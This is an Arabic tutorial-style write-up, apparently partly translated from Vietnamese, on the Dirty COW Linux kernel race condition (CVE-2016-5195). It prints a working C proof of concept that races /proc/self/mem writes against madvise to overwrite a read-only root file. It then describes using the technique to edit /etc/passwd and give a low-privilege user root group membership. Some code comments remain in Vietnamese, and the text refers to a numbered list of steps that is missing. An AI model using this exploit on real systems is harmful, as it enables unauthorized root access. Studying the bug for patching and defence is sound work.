
بما أن النواة (kernel) تعمل بصلاحيات root، يمكن استغلالها ثغرةً لتوسيع الصلاحيات (privilege escalation). وهذا يعني أن المهاجم يمكنه استغلال حالة السباق (Race Condition) للحصول على صلاحيات root من مستخدم منخفض الصلاحية.
كما تعلمت للتو في مادة نظرية أنظمة التشغيل، تحدث حالة السباق (Race Condition) عندما تصل عمليتان أو أكثر إلى نفس المورد وتنفذان عمليات عليه دون مزامنة صحيحة. عندها قد تكون نتائج هذه العمليات غير صحيحة أو غير متوقعة.
لتوضيح الأمر أكثر، لنأخذ مثالًا بسيطًا:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
هنا، على الرغم من أن لدينا متغيرين، إلا أن كلاهما يشير إلى نفس كائن الذاكرة. هذه آلية من نظام التشغيل، إذ لا داعي لاستهلاك ضعف مساحة الذاكرة من أجل قيم متطابقة. ينتظر نظام التشغيل حتى يتم تعديل النسخة، وعندها فقط يخصص ذاكرة منفصلة للمتغير الآخر.
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
في هذه اللحظة، سيقوم نظام التشغيل بالخطوات التالية:
تحدث حالة السباق بين الخطوة 2 والخطوة 4، لتخدع تعيين الذاكرة (memory mapping) فيكتب المحتوى المعدَّل إلى مساحة الذاكرة الأصلية بدلًا من المساحة المخصصة حديثًا. يجعلنا هذا نعدّل الذاكرة التابعة لـ a، أي الكائن الأصلي، بدلًا من b، حتى لو كانت صلاحياتنا على a قراءةً فقط.
الآن نأتي إلى الجزء الرئيسي، ما فكرة الاستغلال؟ كما نعلم، صلاحيات المستخدم محددة في ملف /etc/passwd، ولا يمكن لغير root تعديل هذا الملف. فهل يمكننا استغلال حالة السباق (Race Condition) لتغيير محتوى ملف /etc/passwd من مستخدم يملك صلاحية القراءة فقط؟
الإجابة هي نعم. أولًا، سنحلل كود استغلال مطبقًا على مثال أبسط:

أولًا، ننشئ ملفًا اسمه dirtycow بصلاحيات 644 (فقط root يملك صلاحية الكتابة). نلاحظ أن محاولة كتابة "Hello" إلى الملف تقابل برسالة Permission denied.
إذًا أصبح هدف الهجوم جاهزًا، والآن إلى كود الاستغلال:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
يتكون هذا الاستغلال من ثلاثة خيوط (threads): الخيط الرئيسي، وخيط writeThread، وخيط madvise.
الخيط الرئيسي وظيفته تعيين ملفنا (map) داخل الذاكرة:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
إيجاد موقع النمط المطلوب استبداله:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
بعد ذلك نبدأ تشغيل الخيطين، writeThread و madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
مهمة هذا الخيط هي استبدال السلسلة h1n4m بـ h4ck3r (أو أي شيء تريده :> أليس هذا خطيرًا؟)، ولكن نظرًا لأن الذاكرة المعينة (map memory) من نوع copy-on-write، فإن هذا الخيط يمكنه تعديل المحتوى على نسخة الذاكرة المعينة فقط دون إحداث أي تغيير في الملف؟؟
إذًا أين يكمن الخطر؟ سنرى ذلك في الخيط الآخر.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
هذا الخيط يقوم بعمل واحد فقط، وهو حذف نسخة الذاكرة المعينة، لذا يمكن للمؤشر أن يعود ليشير إلى الذاكرة المعينة الأصلية أو الذاكرة المُخطَّطة في البداية.
إذا نُفّذ هذان الخيطان بشكل تسلسلي، أي دون تعدد خيوط (non-multithread)، فسيقتصر التأثير دائمًا على نسخة الذاكرة المعينة دون أي خطر على الملف ذي الصلاحيات. أما إذا استدعاهما النظام في الوقت نفسه، أي بتعدد خيوط (multithread)، فماذا سيحدث؟ بالضبط، حالة سباق (Race Condition). ستأتي لحظة يخطئ فيها النظام ويوجّه المؤشر إلى الذاكرة المعينة الأصلية نفسها ويعدّل البيانات في ملف root رغم أنه لا يملك صلاحية الكتابة. لكن النظام لا يخطئ دائمًا، لذلك نُشغِّل الخيطين في حلقة لا نهائية؛ يكفي أن يخطئ النظام مرة واحدة فقط حتى تسير الأمور كما خططنا تمامًا.
نعود إلى الموضوع الرئيسي: ملف /etc/passwd هو ملف لا يملك صلاحية تعديله سوى root. نحتاج إلى تطبيق ما تعلمناه أعلاه لتعديل مجموعة (group) المستخدم lowuser في ملف /etc/passwd
لا يملك المستخدم lowuser صلاحية الكتابة على ملف dirtycow.
أصبح lowuser ضمن مجموعة root (1001->0000)في هذا التحليل، عرّفتكم على CVE-2016-5195 المعروف باسم "البقرة القذرة (Dirty Cow)". وبالإضافة إلى تعديل المجموعة، يمكننا أيضًا إضافة مستخدم كامل إلى النظام، والطريقة نفسها تمامًا. وعلى الرغم من أن هذا الـ CVE قديم جدًا، إلا أن كثيرًا من الأنظمة التي ما زالت تستخدم أنوية قديمة متأثرة به حتى اليوم. آمل أن يكون هذا المقال قد أعطاكم فهمًا عامًا للثغرة وطرق حماية أنظمتكم منها. (حدّثوا النواة (kernel) !!!!!)
وأنا هو h1n4m. Peaceeeee.